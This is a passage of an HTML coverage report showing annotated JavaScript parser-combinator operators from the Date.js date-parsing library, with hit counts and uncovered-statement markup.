<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-yes">147</span>
<span class="cline-any cline-yes">147</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">147</span>
<span class="cline-any cline-yes">147</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-yes">646</span>
<span class="cline-any cline-yes">646</span>
<span class="cline-any cline-yes">646</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">646</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-yes">356</span>
<span class="cline-any cline-yes">356</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">350</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">376</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1104</span>
<span class="cline-any cline-yes">1104</span>
<span class="cline-any cline-yes">43</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4000</span>
<span class="cline-any cline-yes">4000</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4000</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5153</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-yes">15483</span>
<span class="cline-any cline-yes">14556</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">927</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1601</span>
<span class="cline-any cline-yes">1601</span>
<span class="cline-any cline-yes">5498</span>
<span class="cline-any cline-yes">5498</span>
<span class="cline-any cline-yes">31059</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">31059</span>
<span class="cline-any cline-yes">31059</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">29340</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">31059</span>
<span class="cline-any cline-yes">1719</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3779</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1140</span>
<span class="cline-any cline-yes">1140</span>
<span class="cline-any cline-yes">14052</span>
<span class="cline-any cline-yes">14052</span>
<span class="cline-any cline-yes">15582</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">15582</span>
<span class="cline-any cline-yes">15582</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">13450</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2132</span>
<span class="cline-any cline-yes">2132</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">602</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">469</span>
<span class="cline-any cline-yes">469</span>
<span class="cline-any cline-yes">469</span>
<span class="cline-any cline-yes">471</span>
<span class="cline-any cline-yes">471</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">457</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">14</span>
<span class="cline-any cline-yes">14</span>
<span class="cline-any cline-yes">14</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">469</span>
<span class="cline-any cline-yes">457</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2340</span>
<span class="cline-any cline-yes">2340</span>
<span class="cline-any cline-yes">2340</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2917</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2917</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6399</span>
<span class="cline-any cline-yes">6399</span>
<span class="cline-any cline-yes">6399</span>
<span class="cline-any cline-yes">6399</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6399</span>
<span class="cline-any cline-yes">6399</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3427</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2972</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2972</span>
<span class="cline-any cline-yes">1922</span>
<span class="cline-any cline-yes">1922</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">542</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1050</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2972</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2972</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1380</span>
<span class="cline-any cline-yes">1380</span>
<span class="cline-any cline-yes">7872</span>
<span class="cline-any cline-yes">6492</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1380</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1380</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1341</span>
<span class="cline-any cline-yes">1341</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2972</span>
<span class="cline-any cline-yes">2469</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2972</span>
<span class="cline-any cline-yes">2301</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2917</span>
<span class="cline-any cline-yes">508</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2409</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2409</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5440</span>
<span class="cline-any cline-yes">16998</span>
<span class="cline-any cline-yes">1169</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5300</span>
<span class="cline-any cline-yes">18800</span>
<span class="cline-any cline-yes">2744</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5336</span>
<span class="cline-any cline-yes">5336</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-yes">5336</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5336</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5336</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">2741</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2741</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $P = Date.Parsing;
	var _ = $P.Operators = {
		//
		// Tokenizers
		//
		rtoken: function (r) { // regex token
			return function (s) {
				var mx = s.match(r);
				if (mx) {
					return ([ mx[0], s.substring(mx[0].length) ]);
				} else {
					throw new $P.Exception(s);
				}
			};
		},
		token: <span class="fstat-no" title="function not covered" >function () {</span> // whitespace-eating token
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >				return _.rtoken(new RegExp("^\\s*" + s + "\\s*"))(s);</span>
			};
		},
		stoken: function (s) { // string token
			return _.rtoken(new RegExp("^" + s));
		},
&nbsp;
		// Atomic Operators
&nbsp;
		until: <span class="fstat-no" title="function not covered" >function (p) {</span>
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >				var qx = [], rx = null;</span>
<span class="cstat-no" title="statement not covered" >				while (s.length) {</span>
<span class="cstat-no" title="statement not covered" >					try {</span>
<span class="cstat-no" title="statement not covered" >						rx = p.call(this, s);</span>
					} catch (e) {
<span class="cstat-no" title="statement not covered" >						qx.push(rx[0]);</span>
<span class="cstat-no" title="statement not covered" >						s = rx[1];</span>
<span class="cstat-no" title="statement not covered" >						continue;</span>
					}
<span class="cstat-no" title="statement not covered" >					break;</span>
				}
<span class="cstat-no" title="statement not covered" >				return [ qx, s ];</span>
			};
		},
		many: function (p) {
			return function (s) {
				var rx = [], r = null;
				while (s.length) {
					try {
						r = p.call(this, s);
					} catch (e) {
<span class="cstat-no" title="statement not covered" >						return [ rx, s ];</span>
					}
					rx.push(r[0]);
					s = r[1];
				}
				return [ rx, s ];
			};
		},
&nbsp;
		// generator operators -- see below
		optional: function (p) {
			return function (s) {
				var r = null;
				try {
					r = p.call(this, s);
				} catch (e) {
					return [ null, s ];
				}
<span class="cstat-no" title="statement not covered" >				return [ r[0], r[1] ];</span>
			};
		},
		not: function (p) {
			return function (s) {
				try {
					p.call(this, s);
				} catch (e) {
					return [null, s];
				}
				throw new $P.Exception(s);
			};
		},
		ignore: function (p) {
			return p ?
			function (s) {
				var r = null;
				r = p.call(this, s);
				return [null, r[1]];
			} : <span class="branch-1 cbranch-no" title="branch not covered" >null;</span>
		},
		product: <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >			var px = arguments[0],</span>
			qx = Array.prototype.slice.call(arguments, 1), rx = [];
<span class="cstat-no" title="statement not covered" >			for (var i = 0 ; i &lt; px.length ; i++) {</span>
<span class="cstat-no" title="statement not covered" >				rx.push(_.each(px[i], qx));</span>
			}
<span class="cstat-no" title="statement not covered" >			return rx;</span>
		},
		cache: function (rule) {
			var cache = {}, cache_length = 0, cache_keys = [], CACHE_MAX = Date.Config.CACHE_MAX || 100000, r = null;
			var cacheCheck = function () {
				<span class="missing-if-branch" title="if path not taken" >I</span>if (cache_length === CACHE_MAX) {
					// kill several keys, don't want to have to do this all the time...
<span class="cstat-no" title="statement not covered" >					for (var i=0; i &lt; 10; i++) {</span>
<span class="cstat-no" title="statement not covered" >						var key = cache_keys.shift();</span>
<span class="cstat-no" title="statement not covered" >						if (key) {</span>
<span class="cstat-no" title="statement not covered" >							delete cache[key];</span>
<span class="cstat-no" title="statement not covered" >							cache_length--;</span>
						}
					}
				}
			};
			return function (s) {
				cacheCheck();
				try {
					r = cache[s] = (cache[s] || rule.call(this, s));
				} catch (e) {
					r = cache[s] = e;
				}
				cache_length++;
				cache_keys.push(s);
				if (r instanceof $P.Exception) {
					throw r;
				} else {
					return r;
				}
			};
		},
&nbsp;
		// vector operators -- see below
		any: function () {
			var px = arguments;
			return function (s) {
				var r = null;
				for (var i = 0; i &lt; px.length; i++) {
					<span class="missing-if-branch" title="if path not taken" >I</span>if (px[i] == null) {
<span class="cstat-no" title="statement not covered" >						continue;</span>
					}
					try {
						r = (px[i].call(this, s));
					} catch (e) {
						r = null;
					}
					if (r) {
						return r;
					}
				}
				throw new $P.Exception(s);
			};
		},
		each: function () {
			var px = arguments;
			return function (s) {
				var rx = [], r = null;
				for (var i = 0; i &lt; px.length ; i++) {
					<span class="missing-if-branch" title="if path not taken" >I</span>if (px[i] == null) {
<span class="cstat-no" title="statement not covered" >						continue;</span>
					}
					try {
						r = (px[i].call(this, s));
					} catch (e) {
						throw new $P.Exception(s);
					}
					rx.push(r[0]);
					s = r[1];
				}
				return [ rx, s];
			};
		},
		all: <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >			var px = arguments, _ = _;</span>
<span class="cstat-no" title="statement not covered" >			return _.each(_.optional(px));</span>
		},
&nbsp;
		// delimited operators
		sequence: function (px, d, c) {
			d = d || <span class="branch-1 cbranch-no" title="branch not covered" >_.rtoken(/^\s*/);</span>
			c = c || null;
			
			<span class="missing-if-branch" title="if path not taken" >I</span>if (px.length === 1) {
<span class="cstat-no" title="statement not covered" >				return px[0];</span>
			}
			return function (s) {
				var r = null, q = null;
				var rx = [];
				for (var i = 0; i &lt; px.length ; i++) {
					try {
						r = px[i].call(this, s);
					} catch (e) {
						break;
					}
					rx.push(r[0]);
					try {
						q = d.call(this, r[1]);
					} catch (ex) {
						q = null;
						break;
					}
					s = q[1];
				}
				if (!r) {
					throw new $P.Exception(s);
				}
				<span class="missing-if-branch" title="if path not taken" >I</span>if (q) {
<span class="cstat-no" title="statement not covered" >					throw new $P.Exception(q[1]);</span>
				}
				<span class="missing-if-branch" title="if path not taken" >I</span>if (c) {
<span class="cstat-no" title="statement not covered" >					try {</span>
<span class="cstat-no" title="statement not covered" >						r = c.call(this, r[1]);</span>
					} catch (ey) {
<span class="cstat-no" title="statement not covered" >						throw new $P.Exception(r[1]);</span>
					}
				}
				return [ rx, (r?r[1]:<span class="branch-1 cbranch-no" title="branch not covered" >s)</span> ];
			};
		},
&nbsp;
		//
		// Composite Operators
		//
&nbsp;
		between: <span class="fstat-no" title="function not covered" >function (d1, p, d2) {</span>
<span class="cstat-no" title="statement not covered" >			d2 = d2 || d1;</span>
<span class="cstat-no" title="statement not covered" >			var _fn = _.each(_.ignore(d1), p, _.ignore(d2));</span>
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >				var rx = _fn.call(this, s);</span>
<span class="cstat-no" title="statement not covered" >				return [[rx[0][0], r[0][2]], rx[1]];</span>
			};
		},
		list: <span class="fstat-no" title="function not covered" >function (p, d, c) {</span>
<span class="cstat-no" title="statement not covered" >			d = d || _.rtoken(/^\s*/);</span>
<span class="cstat-no" title="statement not covered" >			c = c || null;</span>
<span class="cstat-no" title="statement not covered" >			return (p instanceof Array ?</span>
				_.each(_.product(p.slice(0, -1), _.ignore(d)), p.slice(-1), _.ignore(c)) :
				_.each(_.many(_.each(p, _.ignore(d))), px, _.ignore(c)));
		},
		set: function (px, d, c) {
			d = d || _.rtoken(/^\s*/);
			c = c || null;
			return function (s) {
				// r is the current match, best the current 'best' match
				// which means it parsed the most amount of input
				var r = null, p = null, q = null, rx = null, best = [[], s], last = false;
				// go through the rules in the given set
				for (var i = 0; i &lt; px.length ; i++) {
&nbsp;
					// last is a flag indicating whether this must be the last element
					// if there is only 1 element, then it MUST be the last one
					q = null;
					p = null;
					r = null;
					last = (px.length === 1);
					// first, we try simply to match the current pattern
					// if not, try the next pattern
					try {
						r = px[i].call(this, s);
					} catch (e) {
						continue;
					}
					// since we are matching against a set of elements, the first
					// thing to do is to add r[0] to matched elements
					rx = [[r[0]], r[1]];
					// if we matched and there is still input to parse and 
					// we don't already know this is the last element,
					// we're going to next check for the delimiter ...
					// if there's none, or if there's no input left to parse
					// than this must be the last element after all ...
					if (r[1].length &gt; 0 &amp;&amp; ! last) {
						try {
							q = d.call(this, r[1]);
						} catch (ex) {
							last = true;
						}
					} else {
						last = true;
					}
&nbsp;
					// if we parsed the delimiter and now there's no more input,
					// that means we shouldn't have parsed the delimiter at all
					// so don't update r and mark this as the last element ...
					<span class="missing-if-branch" title="if path not taken" >I</span>if (!last &amp;&amp; q[1].length === 0) {
<span class="cstat-no" title="statement not covered" >						last = true;</span>
					}
&nbsp;
&nbsp;
					// so, if this isn't the last element, we're going to see if
					// we can get any more matches from the remaining (unmatched)
					// elements ...
					if (!last) {
						// build a list of the remaining rules we can match against,
						// i.e., all but the one we just matched against
						var qx = [];
						for (var j = 0; j &lt; px.length ; j++) {
							if (i !== j) {
								qx.push(px[j]);
							}
						}
&nbsp;
						// now invoke recursively set with the remaining input
						// note that we don't include the closing delimiter ...
						// we'll check for that ourselves at the end
						p = _.set(qx, d).call(this, q[1]);
&nbsp;
						// if we got a non-empty set as a result ...
						// (otw rx already contains everything we want to match)
						if (p[0].length &gt; 0) {
							// update current result, which is stored in rx ...
							// basically, pick up the remaining text from p[1]
							// and concat the result from p[0] so that we don't
							// get endless nesting ...
							rx[0] = rx[0].concat(p[0]);
							rx[1] = p[1];
						}
					}
&nbsp;
					// at this point, rx either contains the last matched element
					// or the entire matched set that starts with this element.
&nbsp;
					// now we just check to see if this variation is better than
					// our best so far, in terms of how much of the input is parsed
					if (rx[1].length &lt; best[1].length) {
						best = rx;
					}
&nbsp;
					// if we've parsed all the input, then we're finished
					if (best[1].length === 0) {
						break;
					}
				}
&nbsp;
				// so now we've either gone through all the patterns trying them
				// as the initial match; or we found one that parsed the entire
				// input string ...
&nbsp;
				// if best has no matches, just return empty set ...
				if (best[0].length === 0) {
					return best;
				}
&nbsp;
				// if a closing delimiter is provided, then we have to check it also
				if (c) {
					// we try this even if there is no remaining input because the pattern
					// may well be optional or match empty input ...
					try {
						q = c.call(this, best[1]);
					} catch (ey) {
<span class="cstat-no" title="statement not covered" >						throw new $P.Exception(best[1]);</span>
					}
&nbsp;
					// it parsed ... be sure to update the best match remaining input
					best[1] = q[1];
				}
				// if we're here, either there was no closing delimiter or we parsed it
				// so now we have the best match; just return it!
				return best;
			};
		},
		forward: <span class="fstat-no" title="function not covered" >function (gr, fname) {</span>
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >				return gr[fname].call(this, s);</span>
			};
		},
&nbsp;
		//
		// Translation Operators
		//
		replace: function (rule, repl) {
			return function (s) {
				var r = rule.call(this, s);
				return [repl, r[1]];
			};
		},
		process: function (rule, fn) {
			return function (s) {
				var r = rule.call(this, s);
				return [fn.call(this, r[0]), r[1]];
			};
		},
